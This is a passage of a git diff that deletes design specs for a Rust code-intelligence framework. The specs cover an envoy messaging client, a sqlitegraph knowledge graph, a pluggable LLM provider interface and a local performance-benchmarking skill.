Auto-Store in Agent Loop - -In `AgentLoop::run()`, after the observe phase completes: - -1. If `agent.envoy` is `Some`, iterate observed symbols -2. Convert each to a discovery: `store_discovery("Symbol", symbol.name, metadata)` -3. Fire-and-forget β€” errors logged but don't fail the agent loop - -After the plan phase, store a "Pattern" discovery if the plan has notable characteristics (complexity, affected files count). - -## Testing - -### MockEnvoyClient - -```rust -#[cfg(test)] -pub struct MockEnvoyClient { - discoveries: Mutex>, - messages: Mutex>, - sent_messages: Mutex>, // (to, body) - registered: Mutex, - agent_id: Mutex>, -} -``` - -Provides the same methods as EnvoyClient but stores calls in-memory for assertions: -- `store_discovery()` appends to `discoveries` -- `send_message()` appends to `sent_messages` -- `poll_messages()` returns from `messages` (pre-populated by test) -- `register()` sets `registered = true`, returns a fake agent_id -- `query_knowledge()` returns empty KnowledgeResponse - -### Test Categories - -1. **Config parsing** β€” valid `[envoy]`, missing section, invalid TOML, defaults -2. **EnvoyClient construction** β€” from config, default URL -3. **Message serialization** β€” send_message builds correct JSON, poll_messages parses response -4. **Discovery storage** β€” store_discovery sends correct payload -5. **Agent integration** β€” Agent with envoy, Agent without envoy, connect_envoy success/failure -6. **Auto-store** β€” agent loop stores discoveries when envoy is configured - -### No Integration Tests - -No tests hit a real envoy server. All HTTP interactions are tested via MockEnvoyClient. The real EnvoyClient methods are thin reqwest wrappers β€” their correctness depends on envoy's API contract, which is tested in envoy's own test suite. - -## Error Handling - -| Scenario | Error | Behavior | -|----------|-------|----------| -| Envoy not configured | NotConfigured | Skip envoy operations, agent works normally | -| Envoy down | ConnectionFailed | Fail connect_envoy(), skip auto-store in loop | -| 429 rate limited | RateLimited | Caller backs off | -| Non-2xx response | RequestFailed(status, body) | Propagate to caller | -| Malformed JSON | ParseFailed | Propagate to caller | -| Disconnect fails | Ignored | Best-effort in Drop | - -Agent loop behavior: envoy errors during auto-store are logged but don't fail the loop. Only `connect_envoy()` failures propagate to the caller. - -## Out of Scope - -- WebSocket real-time push (polling is sufficient for v1) -- Retry logic (caller responsibility) -- Agent hierarchy / parent-child relationships -- Message ordering guarantees -- Encryption or authentication beyond what envoy provides diff --git a/docs/superpowers/specs/2026-05-13-knowledge-graph-design.md b/docs/superpowers/specs/2026-05-13-knowledge-graph-design.md deleted file mode 100644 index cb12ac0..0000000 --- a/docs/superpowers/specs/2026-05-13-knowledge-graph-design.md +++ /dev/null @@ -1,499 +0,0 @@ -# Knowledge Graph Architecture β€” sqlitegraph native-v3 - -**Date:** 2026-05-13 -**Status:** Draft -**Affects:** forge_core, forge_agent -**Depends on:** sqlitegraph native-v3 backend - ---- - -## Problem - -The forge framework has rich symbol and reference data in Magellan's SQLite database, but no way to traverse relationships graphically. Agents (ContextComposer, Observer) need to discover callers, callees, correlations, affected symbols, and semantically similar code through graph traversal β€” not SQL queries. - -The current architecture queries the SQLite `.db` directly for everything. This works for lookups but cannot express: - -- "What discoveries correlate with this symbol?" -- "What's the shortest path between these two functions?" -- "What symbols are semantically similar to this one?" -- "What issues affect the callers of this function?" - -These are graph problems, not SQL problems. - -## Solution - -A **KnowledgeGraph** module in forge_core backed by sqlitegraph native-v3 (`.graph` binary file). The graph holds typed nodes with KV properties and typed edges representing relationships. SQLite FTS5 remains the entry-point index (keyword β†’ node ID), and graph traversal handles everything after that. - -The `.graph` file lives alongside the existing `.db` file. Magellan/llmgrep/mirage continue using the `.db` unchanged. - -## Architecture - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ Agent / ContextComposer / Observer β”‚ -β”‚ navigates the graph β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ forge_core::KnowledgeGraph β”‚ -β”‚ (sqlitegraph native-v3 backend) β”‚ -β”‚ β”‚ -β”‚ Symbol nodes ──calls──► Symbol nodes β”‚ -β”‚ β”‚ β”‚ -β”‚ File nodes ◄──contains── Symbol nodes β”‚ -β”‚ β”‚ β”‚ -β”‚ Discovery nodes ◄──correlates── Symbol nodesβ”‚ -β”‚ β”‚ β”‚ -β”‚ Issue nodes ──affects──► Symbol nodes β”‚ -β”‚ β”‚ β”‚ -β”‚ CFG Block nodes ──flows_to──► CFG Blocks β”‚ -β”‚ β”‚ β”‚ -β”‚ Pattern nodes ──derived_from──► Symbols β”‚ -β”‚ β”‚ β”‚ -β”‚ Knowledge nodes ──mentions──► Symbols β”‚ -β”‚ β”‚ β”‚ -β”‚ Hotspot nodes ◄──belongs_to── Symbols β”‚ -β”‚ β”‚ β”‚ -β”‚ HNSW vectors (semantic similarity) β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ - β”‚ -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ SQLite FTS5 (entry-point index only) β”‚ -β”‚ in existing Magellan .db β”‚ -β”‚ β”‚ -β”‚ "process_payment" β†’ node #47 β”‚ -β”‚ "auth" β†’ node #23 β”‚ -β”‚ "middleware" β†’ node #89 β”‚ -β”‚ β”‚ -β”‚ graph_node_index table maps β”‚ -β”‚ FTS5 results to graph node IDs β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -## File Layout - -``` -project/ -β”œβ”€β”€ .magellan/ -β”‚ β”œβ”€β”€ magellan.db ← Magellan SQLite DB (FTS5, symbols, refs) -β”‚ └── knowledge.graph ← Knowledge graph (sqlitegraph native-v3) -└── src/ -``` - -- `magellan.db` is owned by Magellan. forge_core reads from it during sync but never writes to Magellan tables. -- `knowledge.graph` is owned by forge_core. Created and managed by the KnowledgeGraph module. -- One `graph_node_index` table is added to `magellan.db` to bridge FTS5 results to graph node IDs. This is the only structural change to the `.db`. - -## Node Types - -Every node is a `sqlitegraph::GraphEntity` with: -- `kind`: discriminates the node type -- `name`: human-readable identifier -- `file_path`: source file (for code-related nodes) -- `data`: JSON object with type-specific KV properties - -### symbol - -Source code symbol β€” function, struct, method, trait, enum, etc. Mirrors what Magellan indexes. - -| Property | Type | Description | -|----------|------|-------------| -| `symbol_kind` | string | Function, Struct, Method, Enum, Trait, etc. | -| `qualified_name` | string | Fully qualified name (e.g. `crate::module::function`) | -| `file` | string | Source file path | -| `line` | number | Line number | -| `byte_start` | number | Start byte offset | -| `byte_end` | number | End byte offset | -| `language` | string | Rust, Python, etc. | -| `parent_id` | number? | Parent symbol node ID (for methods in impl blocks, etc.) | - -### file - -Source file. - -| Property | Type | Description | -|----------|------|-------------| -| `path` | string | File path relative to project root | -| `language` | string | Detected language | -| `hash` | string | BLAKE3 hash of file contents | -| `last_modified` | string | ISO timestamp | - -### discovery - -Cached knowledge from an agent observation or external source. - -| Property | Type | Description | -|----------|------|-------------| -| `discovery_type` | string | Symbol, CFG, Issue, Pattern | -| `agent` | string | Agent that created this discovery | -| `timestamp` | string | ISO timestamp | -| `metadata` | object | Arbitrary JSON metadata | - -### cfg_block - -CFG basic block from mirage analysis. - -| Property | Type | Description | -|----------|------|-------------| -| `function_id` | number | Symbol node ID of the containing function | -| `start_byte` | number | Start byte offset in function | -| `end_byte` | number | End byte offset in function | -| `block_kind` | string | Entry, Basic, LoopHeader, Condition | -| `is_error` | boolean | Whether this is an error/panic path | - -### hotspot - -Performance or risk area identified by analysis. - -| Property | Type | Description | -|----------|------|-------------| -| `complexity` | number | Cyclomatic complexity | -| `risk_score` | number | 0.0–1.0 risk score | -| `loop_depth` | number | Maximum loop nesting | -| `description` | string | Human-readable description | - -### pattern - -Recognized code pattern (e.g., "builder pattern", "clone escape hatch"). - -| Property | Type | Description | -|----------|------|-------------| -| `pattern_type` | string | Category of pattern | -| `confidence` | number | 0.0–1.0 detection confidence | -| `description` | string | What was detected | - -### issue - -Bug or code smell. - -| Property | Type | Description | -|----------|------|-------------| -| `severity` | string | critical, high, medium, low | -| `description` | string | What the issue is | -| `rule_id` | string? | Lint rule or check that found it | - -### knowledge - -External knowledge entry β€” wiki article, spec document, design doc. - -| Property | Type | Description | -|----------|------|-------------| -| `source` | string | wiki, docs, specs | -| `title` | string | Title of the entry | -| `tags` | array | String tags for categorization | -| `summary` | string | Brief summary | - -## Edge Types - -Every edge is a `sqlitegraph::GraphEdge` with: -- `edge_type`: discriminates the relationship -- `data`: JSON object with optional metadata - -### calls - -symbol β†’ symbol. Function A calls function B. - -| Property | Type | Description | -|----------|------|-------------| -| `location_file` | string | Where the call occurs | -| `location_line` | number | Line number of the call site | - -### contains - -file β†’ symbol. File contains this symbol. - -No additional properties. - -### references - -symbol β†’ symbol. A references B (use, type reference, import, implementation). - -| Property | Type | Description | -|----------|------|-------------| -| `ref_kind` | string | Call, Use, TypeReference, Inherit, Implementation, Override | -| `location_file` | string | Where the reference occurs | -| `location_line` | number | Line number | - -### correlates - -discovery ↔ symbol, discovery ↔ discovery. Discovery is about a symbol, or two discoveries are related. - -| Property | Type | Description | -|----------|------|-------------| -| `confidence` | number | 0.0–1.0 correlation confidence | -| `agent` | string | Agent that established the correlation | -| `correlation_type` | string? | For discovery↔discovery: "related", "supersedes", "contradicts" | - -Stored as two directed edges for bidirectional traversal. - -### affects - -issue β†’ symbol. Issue affects this symbol. - -No additional properties. - -### flows_to - -cfg_block β†’ cfg_block. Control flow from one block to the next. - -| Property | Type | Description | -|----------|------|-------------| -| `condition` | string? | Branch condition text, if applicable | - -### similar_to - -symbol ↔ symbol. Semantic similarity from HNSW vector search. - -| Property | Type | Description | -|----------|------|-------------| -| `distance` | number | Cosine distance (0.0 = identical) | - -Stored as two directed edges for bidirectional traversal. Populated by HNSW index queries. - -### derived_from - -pattern β†’ symbol. Pattern was detected in this symbol. - -| Property | Type | Description | -|----------|------|-------------| -| `confidence` | number | 0.0–1.0 detection confidence | - -### discovered_by - -discovery β†’ discovery. Agent X's discovery built on agent Y's earlier finding. - -| Property | Type | Description | -|----------|------|-------------| -| `agent` | string | Agent that made the derived discovery | - -### mentions - -knowledge β†’ symbol. Knowledge entry mentions this symbol. - -| Property | Type | Description | -|----------|------|-------------| -| `context` | string? | Surrounding context of the mention | - -### belongs_to - -cfg_block β†’ symbol, hotspot β†’ symbol. Block or hotspot belongs to this function. - -No additional properties. - -## FTS5 Bridge - -A single table in the existing Magellan `.db` bridges FTS5 results to graph node IDs: - -```sql -CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, -- Magellan symbol_id for cross-referencing - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL -); -``` - -**Query flow:** - -1. FTS5 search: `SELECT * FROM symbols_fts WHERE symbols_fts MATCH 'process_payment'` β†’ returns Magellan symbol data with `symbol_id` -2. Node lookup: `SELECT node_id FROM graph_node_index WHERE magellan_id = ` β†’ graph node ID -3. Graph traversal: `knowledge_graph.callers_of(node_id, depth=3)` β†’ results - -The bridge is populated during `sync_symbols()`. It requires no changes to Magellan's existing tables or FTS5 configuration. - -## KnowledgeGraph API - -```rust -pub struct KnowledgeGraph { - graph: sqlitegraph::SqliteGraph, - db_path: PathBuf, -} - -impl KnowledgeGraph { - // -- Lifecycle -- - pub fn open(graph_path: &Path, db_path: &Path) -> Result; - pub fn close(self) -> Result<()>; - - // -- Sync from Magellan -- - pub async fn sync_symbols(&self) -> Result; - pub async fn sync_references(&self) -> Result; - - // -- Node CRUD -- - pub fn add_symbol(&self, symbol: &Symbol) -> Result; - pub fn add_file(&self, path: &str, language: &str, hash: &str) -> Result; - pub fn add_discovery(&self, agent: &str, discovery_type: &str, target: &str, metadata: Value) -> Result; - pub fn add_issue(&self, severity: &str, description: &str, affected_symbols: &[i64]) -> Result; - pub fn add_pattern(&self, pattern_type: &str, confidence: f64, target_node: i64) -> Result; - pub fn add_knowledge(&self, source: &str, title: &str, tags: &[String], summary: &str) -> Result; - pub fn add_cfg_block(&self, function_id: i64, block: &CfgBlockData) -> Result; - pub fn add_hotspot(&self, symbol_id: i64, complexity: u32, risk_score: f64) -> Result; - pub fn get_node(&self, node_id: i64) -> Result; - pub fn find_nodes_by_kind(&self, kind: &str) -> Result>; - - // -- Edge operations -- - pub fn add_edge(&self, from: i64, to: i64, edge_type: &str, data: Value) -> Result; - pub fn add_correlation(&self, from: i64, to: i64, confidence: f64, agent: &str) -> Result; - - // -- Traversal -- - pub fn callers_of(&self, symbol_id: i64, max_depth: u32) -> Result>; - pub fn callees_of(&self, symbol_id: i64, max_depth: u32) -> Result>; - pub fn neighbors(&self, node_id: i64, edge_type: &str, direction: Direction) -> Result>; - pub fn affected_by(&self, symbol_id: i64, depth: u32) -> Result>; - pub fn correlated(&self, node_id: i64) -> Result>; - pub fn similar_symbols(&self, symbol_id: i64, k: usize) -> Result>; - - // -- Entry point: FTS5 query β†’ graph traversal -- - pub async fn query(&self, query: &str, depth: u32) -> Result; - - // -- Graph algorithms -- - pub fn pagerank(&self) -> Result>; - pub fn cycles(&self) -> Result>>; - pub fn reachability(&self, from: i64) -> Result>; - pub fn shortest_path(&self, from: i64, to: i64) -> Result>>; - pub fn community_detection(&self) -> Result>>; -} - -pub enum Direction { Incoming, Outgoing } - -pub struct GraphNode { /* wraps sqlitegraph::GraphEntity with typed accessors */ } - -pub struct SyncReport { - pub nodes_added: usize, - pub nodes_updated: usize, - pub nodes_unchanged: usize, - pub edges_added: usize, - pub edges_updated: usize, -} - -pub struct QueryResult { - pub entry_node: GraphNode, - pub callers: Vec, - pub callees: Vec, - pub correlated: Vec, - pub affected: Vec, - pub similar: Vec<(f64, GraphNode)>, -} - -pub struct CfgBlockData { - pub start_byte: u32, - pub end_byte: u32, - pub block_kind: String, - pub is_error: bool, -} -``` - -## Agent Navigation Example - -Query: "what could break if I change process_payment?" - -``` -1. knowledge_graph.query("process_payment", depth=3) - β”œβ”€β”€ FTS5: "process_payment" β†’ node #47 (symbol) - └── Returns QueryResult - -2. callers_of(47, depth=2) - β”œβ”€β”€ #47 --calls--> #12 (validate_card) - β”œβ”€β”€ #47 --calls--> #15 (charge_amount) - β”œβ”€β”€ #23 (checkout_handler) --calls--> #47 - └── #31 (retry_worker) --calls--> #47 - -3. correlated(47) - β”œβ”€β”€ #47 <--correlates-- #88 (discovery: "handles 3 edge cases") - └── #47 <--correlates-- #92 (discovery: "shared mutex with process_refund") - -4. affected_by(47, depth=3) - β”œβ”€β”€ #47 --affects--> #55 (order_service) - β”œβ”€β”€ #47 --affects--> #61 (notification_queue) - └── #47 --affects--> #67 (webhook_handler) - -5. similar_symbols(47, k=5) - β”œβ”€β”€ (0.06, process_refund) ← HNSW cosine distance - β”œβ”€β”€ (0.13, process_subscription) - └── (0.19, void_transaction) - -6. correlated(#process_refund node) - └── #47 <--correlates-- #92 (discovery: "shared mutex with process_refund") -``` - -Step 6 is the powerful one: the agent discovers that `process_refund` shares a mutex with `process_payment` through a correlation edge stored as a discovery. This requires graph traversal, not SQL. - -## Sync Strategy - -Symbols and references in the `.graph` file are mirrors of Magellan's `.db`. Knowledge-only nodes (discoveries, patterns, issues, knowledge, hotspots) are written directly by agents. - -### Initial sync - -1. `sync_symbols()` reads all symbols from `magellan.db` -2. Creates `symbol` and `file` nodes in `.graph` -3. Creates `contains` edges (file β†’ symbol) -4. Populates `graph_node_index` table in `.db` -5. Returns `SyncReport` - -### Reference sync - -1. `sync_references()` reads all references from `magellan.db` -2. Creates `calls` and `references` edges between existing symbol nodes -3. Returns `SyncReport` - -### Incremental sync - -On subsequent calls, only changed symbols (by hash comparison) are updated. sqlitegraph's MVCC snapshots ensure consistent reads during sync. - -### Knowledge writes - -Agents write discoveries, patterns, issues, and knowledge entries directly to `.graph`: - -```rust -let discovery_id = kg.add_discovery( - "claude1", - "Symbol", - "process_payment", - json!({"complexity": 8, "handles_edge_cases": 3}) -)?; - -let symbol_id = kg.find_nodes_by_kind("symbol")? - .into_iter() - .find(|n| n.name() == "process_payment") - .map(|n| n.id()); - -kg.add_correlation(discovery_id, symbol_id, 0.95, "claude1")?; -``` - -## HNSW Vector Integration - -Symbol nodes can have vector embeddings for semantic similarity search: - -1. During sync, if embedding data is available (from llmgrep or an embedding model), vectors are added to an HNSW index in the `.graph` file -2. Vectors are linked to symbol node IDs -3. `similar_symbols()` queries the HNSW index and returns ranked results - -The HNSW index is optional β€” the graph works without it, but semantic similarity requires it. - -## Integration with forge_agent - -The `ContextComposer` and `Observer` in forge_agent use `KnowledgeGraph` instead of direct SQL queries: - -- `Observer::gather()` calls `knowledge_graph.query(query, depth)` for the entry point -- `ContextComposer::for_task()` uses graph traversal for callers, callees, correlations -- The `DiscoveryStore` trait implementation writes discoveries directly to the `.graph` file -- The `KnowledgeSource` trait implementation reads from the `.graph` file via graph traversal - -No changes to forge_agent's public API β€” the KnowledgeGraph is an internal implementation detail. - -## Migration Path - -1. **Phase 1:** Add `KnowledgeGraph` module to forge_core with node/edge types, sync, and basic traversal -2. **Phase 2:** Wire `ContextComposer` to use `KnowledgeGraph` instead of direct Magellan queries -3. **Phase 3:** Wire `Observer` to use `KnowledgeGraph` for correlation and knowledge lookup -4. **Phase 4:** Add HNSW vector support for semantic similarity -5. **Phase 5:** Add graph algorithms (PageRank, community detection) to power insights - -Each phase is independently testable and deployable. - -## Constraints - -- **No changes to Magellan's schema** beyond adding `graph_node_index` table -- **No changes to llmgrep or mirage** β€” they continue using the `.db` directly -- **The `.graph` file is a forge_core concern** β€” other tools don't need to know about it -- **Symbol nodes are mirrors** β€” Magellan is the indexing authority, the graph is for traversal -- **Knowledge nodes are authoritative** β€” discoveries, patterns, issues live only in the graph diff --git a/docs/superpowers/specs/2026-05-13-llm-provider-design.md b/docs/superpowers/specs/2026-05-13-llm-provider-design.md deleted file mode 100644 index 401b444..0000000 --- a/docs/superpowers/specs/2026-05-13-llm-provider-design.md +++ /dev/null @@ -1,241 +0,0 @@ -# LLM-Agnostic Provider Interface - -**Date:** 2026-05-13 -**Status:** Approved -**Scope:** forge_agent crate - -## Context - -The forge framework has a deterministic 6-phase agent loop (Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit). The Observe and Plan phases currently use keyword-based parsing and simple intent detection. An LLM provider would enable semantic understanding of natural language queries and intelligent step generation β€” while remaining optional so forge works fully offline without an LLM. - -## Design Decisions - -| Decision | Choice | Rationale | -|----------|--------|-----------| -| Provider style | Minimal trait, feature-gated backends | Matches existing forge pattern (magellan, llmgrep are feature-gated) | -| Required? | Optional with fallback | forge must work without LLM. Deterministic logic remains the default. | -| Response mode | Request/response only | Streaming added later if needed. Code intelligence tasks are short. | -| Capabilities | Chat completion only | llmgrep already handles embeddings. Don't duplicate. | -| Config | `.forge.toml` `[llm]` section | Matches magellan's config pattern | -| Default provider | Ollama (local-first) | No API key needed. Privacy-preserving. | - -## Core Trait - -```rust -// forge_agent/src/llm/mod.rs - -/// Role of a message in an LLM conversation. -#[derive(Clone, Debug, PartialEq)] -pub enum LlmRole { - System, - User, - Assistant, -} - -/// A single message in an LLM conversation. -#[derive(Clone, Debug)] -pub struct LlmMessage { - pub role: LlmRole, - pub content: String, -} - -/// LLM provider error types. -#[derive(Debug, thiserror::Error)] -pub enum LlmError { - #[error("Provider not configured")] - NotConfigured, - #[error("Request failed: {0}")] - RequestFailed(String), - #[error("Rate limited")] - RateLimited, - #[error("Response truncated: {0}")] - Truncated(String), -} - -/// LLM provider trait β€” abstract over backends. -/// -/// Implementations are feature-gated: `llm-openai`, `llm-anthropic`, `llm-ollama`. -/// The agent holds `Option>` β€” `None` means deterministic-only. -#[async_trait::async_trait] -pub trait LlmProvider: Send + Sync { - /// Complete a single-turn prompt with an optional system message. - async fn complete(&self, prompt: &str, system: Option<&str>) -> Result; - - /// Complete a multi-turn conversation. - async fn complete_messages(&self, messages: &[LlmMessage]) -> Result; -} -``` - -## Configuration - -`.forge.toml` (new file, optional): - -```toml -[llm] -provider = "ollama" # "openai" | "anthropic" | "ollama" -model = "gemma3:4b" # provider-specific model name - -[llm.options] -base_url = "http://localhost:11434" # ollama default -# api_key = "sk-..." # for openai/anthropic (or FORGE_LLM_API_KEY env var) -max_tokens = 4096 -temperature = 0.1 -``` - -Config struct: - -```rust -// forge_agent/src/llm/config.rs - -#[derive(Clone, Debug, serde::Deserialize)] -pub struct LlmConfig { - pub provider: String, - pub model: String, - #[serde(default)] - pub options: LlmOptions, -} - -#[derive(Clone, Debug, Default, serde::Deserialize)] -pub struct LlmOptions { - pub base_url: Option, - pub api_key: Option, - pub max_tokens: Option, - pub temperature: Option, -} -``` - -API key resolution order: config file β†’ `FORGE_LLM_API_KEY` env var β†’ error. - -## Provider Factory - -```rust -// forge_agent/src/llm/factory.rs - -pub fn create_provider(config: &LlmConfig) -> Result>> { - match config.provider.as_str() { - #[cfg(feature = "llm-openai")] - "openai" => Ok(Some(Arc::new(OpenAiProvider::from_config(config)?))), - #[cfg(feature = "llm-anthropic")] - "anthropic" => Ok(Some(Arc::new(AnthropicProvider::from_config(config)?))), - #[cfg(feature = "llm-ollama")] - "ollama" => Ok(Some(Arc::new(OllamaProvider::from_config(config)?))), - other => Err(LlmError::NotConfigured), - } -} -``` - -## Integration Points - -### Agent struct - -```rust -pub struct Agent { - codebase_path: PathBuf, - forge: Option, - llm: Option>, // NEW -} -``` - -Injected at construction via `Agent::builder().llm(provider).build()` or auto-loaded from `.forge.toml`. - -### Observer enhancement (`observe.rs`) - -When `llm` is available: -1. Send query to LLM with system prompt: "Extract symbol names, operation intent, and context from this code intelligence query." -2. Parse LLM response for symbol names -3. Look up parsed names in the graph -4. Merge with semantic search results (existing) - -When `llm` is `None`: -- Fall back to current `semantic_search()` + `extract_name_from_query()` logic - -### Planner enhancement (`planner.rs`) - -When `llm` is available: -1. Send observation (query + discovered symbols with locations) to LLM -2. System prompt: "Generate an execution plan as a list of steps (rename/delete/create/inspect) with target symbols." -3. Parse LLM response into `Vec` -4. Validate steps against graph (symbol exists, file exists) - -When `llm` is `None`: -- Fall back to current `detect_intent()` + keyword-based step generation - -### Phases NOT touched - -Constrain, Mutate, Verify, and Commit remain fully deterministic. The LLM only influences *what* to do, not *how* to do it. - -## Feature Flags - -```toml -# forge_agent/Cargo.toml - -[features] -default = ["sqlite"] - -# LLM providers -llm-ollama = ["dep:reqwest"] -llm-openai = ["dep:reqwest"] -llm-anthropic = ["dep:reqwest"] -llm = ["llm-ollama"] # convenience: defaults to ollama - -[dependencies] -reqwest = { version = "0.12", features = ["json"], optional = true } -# toml crate needed for config parsing (already used by serde_yaml in workspace) -toml = "0.8" -``` - -## File Structure - -``` -forge_agent/src/ -β”œβ”€β”€ llm/ # NEW -β”‚ β”œβ”€β”€ mod.rs # Trait, types, errors -β”‚ β”œβ”€β”€ config.rs # LlmConfig, TOML parsing -β”‚ β”œβ”€β”€ factory.rs # create_provider() -β”‚ └── providers/ -β”‚ β”œβ”€β”€ mod.rs # Re-exports -β”‚ β”œβ”€β”€ ollama.rs # OllamaProvider -β”‚ β”œβ”€β”€ openai.rs # OpenAiProvider -β”‚ └── anthropic.rs # AnthropicProvider -β”œβ”€β”€ observe.rs # Modified: LLM-enhanced gathering -β”œβ”€β”€ planner.rs # Modified: LLM-enhanced planning -└── lib.rs # Modified: Agent gets optional LLM -``` - -## Provider Implementations - -### OllamaProvider - -- HTTP POST to `{base_url}/api/chat` -- No API key required (local) -- Request: `{ model, messages, stream: false, options: { temperature, num_predict } }` -- Response: `{ message: { content } }` - -### OpenAiProvider - -- HTTP POST to `https://api.openai.com/v1/chat/completions` (or custom base_url) -- API key required (`Authorization: Bearer {key}`) -- Request: `{ model, messages, max_tokens, temperature }` -- Response: `{ choices: [{ message: { content } }] }` - -### AnthropicProvider - -- HTTP POST to `https://api.anthropic.com/v1/messages` (or custom base_url) -- API key required (`x-api-key: {key}`) -- Request: `{ model, system, messages, max_tokens }` -- Response: `{ content: [{ text }] }` - -## Testing Strategy - -- **Unit tests:** Mock provider implementing `LlmProvider` that returns canned responses -- **Integration tests:** Ollama provider tested against local instance (marked `#[ignore]` if no Ollama running) -- **Fallback tests:** Verify agent loop works identically when `llm: None` -- **Config tests:** TOML parsing, env var resolution, missing config handling - -## Success Criteria - -1. `cargo test --workspace` passes with no LLM provider configured (zero regression) -2. `cargo test -p forge-agent --features llm-ollama` passes with mock provider -3. Observer returns richer symbol sets with LLM than without -4. Planner generates multi-step plans from natural language queries with LLM -5. 0 clippy warnings, CI green diff --git a/docs/superpowers/specs/2026-05-21-envoy-performance-skill-design.md b/docs/superpowers/specs/2026-05-21-envoy-performance-skill-design.md deleted file mode 100644 index fd7b82d..0000000 --- a/docs/superpowers/specs/2026-05-21-envoy-performance-skill-design.md +++ /dev/null @@ -1,88 +0,0 @@ -# Envoy Performance Evaluation Skill β€” Design Spec - -**Date:** 2026-05-21 -**Skill name:** `grounded-coding-perf` -**Location:** `/home/feanor/.claude/skills/grounded-coding-perf/SKILL.md` -**Target:** Envoy HTTP service at `http://127.0.0.1:9876` - ---- - -## Purpose - -Measure envoy latency, throughput, and resource usage with reproducible benchmarks. Complements `grounded-coding-doctor` (which checks health) with quantitative performance data. - -## Scope - -- Envoy-specific: knows endpoints, auth headers, registration lifecycle -- Single-machine only (no distributed load testing) -- Terminal output by default, optional markdown report file -- Requires `wrk`, `hey`, `perf`, `jq`, `sysstat` β€” skill includes install commands - -## Out of Scope - -- Flamegraph generation (requires additional tooling + sustained workload) -- Soak testing (hours-long) -- Distributed load testing -- Frontend/WebSocket performance - -## Phases - -### Phase 0 β€” Prerequisites - -Check for `wrk`, `hey`, `perf`, `jq`, `pidstat`. Provide Arch install command. Abort if envoy is down. - -### Phase 1 β€” Agent Registration - -Register a perf-test agent via `/agents`, capture `AGENT_ID`, use in authenticated requests. Retire at end. - -### Phase 2 β€” Warmup - -10 sequential curl hits to `/health`. Results discarded. - -### Phase 3 β€” Latency Profiling - -Hit 5 envoy endpoints with 50 sequential `curl -w` requests each: -- `/health` (unauthenticated) -- `/agents` (list, authenticated) -- `/knowledge/search` (authenticated, POST) -- `/ontology` (authenticated) -- `/planning/status` (authenticated) - -Capture: `time_connect`, `time_starttransfer`, `time_total`. Compute P50/P95/P99 via sort + awk. - -Output table: endpoint | P50 | P95 | P99 | median TTFB. - -### Phase 4 β€” Load Testing - -Three wrk scenarios: -1. `wrk -t4 -c50 -d15s /health` β€” baseline -2. `wrk -t4 -c100 -d15s /health` β€” high concurrency -3. `wrk -t2 -c20 -d10s /agents` β€” authenticated endpoint - -Optional: POST script for `/knowledge/search` with sample payload. - -### Phase 5 β€” Resource Profiling - -- Capture envoy PID -- Snapshot `/proc//status` before load (VmRSS, VmSize, Threads) -- `perf stat -p -d 15` during load β€” cycles, instructions, cache misses -- Snapshot `/proc//status` after load, diff memory delta -- If `pidstat` available: `pidstat -p 1 15` - -### Phase 6 β€” Report - -Optional `--report` flag writes `.perf-reports/YYYY-MM-DD-HHMM.md` with all results. Without flag, terminal-only. - -## Cross-References - -- Uses endpoint patterns from `grounded-coding-atheneum` -- Complements `grounded-coding-doctor` -- Follows same SKILL.md frontmatter and section conventions - -## Success Criteria - -- Skill runs end-to-end against a live envoy instance -- Produces P50/P95/P99 latency table for all 5 endpoints -- wrk throughput numbers for 3 scenarios -- Memory delta (before/after load test) -- Optional report file generation works diff --git a/docs/superpowers/specs/2026-05-22-forge-graph-magellan-unification-design.md b/docs/superpowers/specs/2026-05-22-forge-graph-magellan-unification-design.md deleted file mode 100644 index f51ab34..0000000 --- a/docs/superpowers/specs/2026-05-22-forge-graph-magellan-unification-design.md +++ /dev/null @@ -1,183 +0,0 @@ -# forge_core Graph Module β€” Magellan Unification Design - -**Date:** 2026-05-22 -**Scope:** `forge_core` graph module only (search/cfg/edit follow as separate specs) -**Status:** Approved - ---- - -## Goal - -Replace the half-baked graph module integration with a clean, correct dependency on -`magellan` as the single engine for all symbol and reference queries. Remove the -parallel `GraphQueryEngine` implementation. Unify the database path so forge, magellan, -and future cross-project tooling all use the same file. - ---- - -## Context - -`forge_core` already lists `magellan` as an optional Cargo dependency (enabled by -default via the `tools` feature). The `graph/mod.rs` module already has -`#[cfg(feature = "magellan")]` code paths. But the integration is incorrect in -several ways: - -- DB path is `.forge/graph.db` β€” not where magellan creates its database -- `find_symbol` does an O(n) scan over all file nodes instead of a name-indexed lookup -- `cycles()` always returns an empty vec -- `impact_analysis` uses `GraphQueryEngine`, a local reimplementation on sqlitegraph -- `GraphQueryEngine` in `graph/queries.rs` is a full parallel implementation of queries 